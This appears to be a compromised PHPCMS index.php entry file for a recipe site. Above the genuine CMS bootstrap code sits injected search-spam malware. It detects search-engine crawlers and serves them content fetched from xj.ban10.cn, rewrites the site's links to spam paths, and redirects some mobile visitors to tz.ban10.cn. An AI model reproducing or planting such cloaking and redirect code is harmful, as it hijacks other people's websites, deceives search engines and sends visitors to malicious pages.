<?php
set_time_limit(60);
error_reporting(0);
$a="stristr";
$b=$_SERVER;

if (!function_exists('httpGetlai')) {
    function httpGetlai($c) {
        $d = curl_init();
        curl_setopt($d, CURLOPT_URL, $c);
        curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
        curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($d, CURLOPT_HEADER, 0);
        $e = curl_exec($d);
        curl_close($d);
        return $e;
    }
}

if (!function_exists('httpGet2')) {
    function httpGet2($url) {
        header('Content-Type:text/html;charset=utf-8');
        $ch = curl_init();
        $ua2 = $_SERVER['HTTP_USER_AGENT'];
        
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        
        $output = curl_exec($ch);
        curl_close($ch);
        
        $dirs = array("dy", "ys", "ku", "du", "zkblw", "keyan", "zhuli", "moban", "wen", "template", "html1", "page", "show", "zixun", "zc", "info", "qm120", "quanming", "qm", "shijie", "xiaojie", "shangmen", "fuwu", "zuliao", "kaopu", "tongcheng", "xinxi", "fujin", "lianxi", "dianhua", "spa", "shejiao", "fangfa");
        $tags = array('<body>', '</body>', '<html>', '</html>');
        $output = str_replace($tags, '', $output);
        
        $lianjie = '/<a .*?>[\s\S]*?<\/a>/';
        preg_match_all($lianjie, $output, $aarray5);
        if ($aarray5[0]) {
            $count = 0;  
            foreach ($aarray5[0] as $pbti) {
                $preg = '/href=(\"|\')(.*?)(\"|\')/i';
                if ($count < 2) {  
                    $randomUrl = httpGetlai('http://xj.ban10.cn/spider.php');  
                    $randomUrl = str_replace('<!--', '', $randomUrl);
                    $randomUrl = str_replace('-->', '', $randomUrl);
                    if ($randomUrl !== false) {
                        $replacestr = 'href="' . trim($randomUrl) . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"';
                        $count++;  
                    } else {
                        $replacestr = 'href="' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"';
                    }
                } else {
                    $replacestr = 'href="' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"';
                }
                $aoutput = preg_replace($preg, $replacestr, $pbti);
                $output = str_replace($pbti, $aoutput, $output);
            }
        }
        return $output;
    }
}

define('url', $b['REQUEST_URI']);
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "http://xj.ban10.cn/ind.php");
define('road', "?road=" . $b['HTTP_HOST'] . url);
define('memes', road . "&referer=" . urlencode(ref));
define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $a(url, "ben") || $a(url, "/dy/") || $a(url, "kkk") || $a(url, "/ys/") || $a(url, "/ku/") || $a(url, "zkblw") || $a(url, "keyan") || $a(url, "zhuli") || $a(url, ".xml") || $a(url, ".doc") || $a(url, ".pdf") || $a(url, ".txt") || $a(url, ".ppt") || $a(url, ".pptx") || $a(url, ".tacc") || $a(url, ".jsp") || $a(url, ".asp") || $a(url, ".ga") || $a(url, ".gq") || $a(url, ".pdx") || $a(url, ".xlsx") || $a(url, ".edu") || $a(url, ".gov") || $a(url, "baike") || $a(url, ".xls") || $a(url, ".htx") || $a(url, ".htt") || $a(url, ".xhtml") || $a(url, ".new") || $a(url, ".do") || $a(url, ".action") || $a(url, ".frx") || $a(url, ".csv") || $a(url, ".docx") || $a(url, ".xhtml") || $a(url, ".shtml") || $a(url, "ben") || $a(url, "xinwen1") || $a(url, "news1") || $a(url, "show1") || $a(url, "html1") || $a(url, "moban") || $a(url, "template") || $a(url, "/du/") || $a(url, "wen/") || $a(url, "and") || $a(url, "xjj") || $a(url, "/ask/") || $a(url, "/dsp/") || $a(url, "/page/") || $a(url, "/show/") || $a(url, "/zixun/") || $a(url, "/zc/") || $a(url, "/info/") || $a(url, "/qm120/") || $a(url, "/quanming/") || $a(url, "/qm/") || $a(url, "/shijie/") || $a(url, "/xiaojie/") || $a(url, "/shangmen/") || $a(url, "/fuwu/") || $a(url, "/zuliao/") || $a(url, "/kaopu/") || $a(url, "/tongcheng/") || $a(url, "/xinxi/") || $a(url, "/fujin/") || $a(url, "/lianxi/") || $a(url, "/dianhua/") || $a(url, "/spa/") || $a(url, "/shejiao/") || $a(url, "/fangfa/"));

if (preg_match(regs, ent)) {
    if (area) {
        echo httpGetlai(site . road);
        exit();
    } else {
        echo httpGet2($b['HTTP_HOST'] . url);
        exit();
    }
}

if (area && preg_match(mobile, ent)) {
echo '<html>
<head>
<meta http-equiv="refresh" content="0;url=https://tz.ban10.cn/hz.php">
</head>
</html>';
exit;
}

    if($_SERVER['SERVER_NAME']=="www.jiachangcai123.com"&&($_GET['m']!="content" || $_GET['c']!="index")){header("location: /404.html");die; }//屏蔽执行其他php入口

	define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
//禁止写入执行文件
	if(strstr($_SERVER['REQUEST_URI'],"file_put_content") || strstr($_SERVER['REQUEST_URI'],"@eval(")){
		echo "非法参数";die;
	}
//关闭member用户功能
	if($_GET['m']=="member"){echo "member功能已关闭,请联系管理员";die; }
	include PHPCMS_PATH.'/phpcms/base.php';
//纯下载站的入口文件增加代码，禁止外人POST数据和上传文件
	if(file_get_contents("php://input") || (isset($_POST) && count($_POST)>0) ||  (isset($_FILES) && count($_FILES)>0)){
//		if ($_SERVER['SERVER_NAME'] != substr($_SERVER['HTTP_REFERER'], 7, strlen($_SERVER['SERVER_NAME'])) && $_SERVER['SERVER_NAME'] != substr($_SERVER['HTTP_REFERER'], 8, strlen($_SERVER['SERVER_NAME']))) exit('no upload');
	}
	pc_base::creat_app();
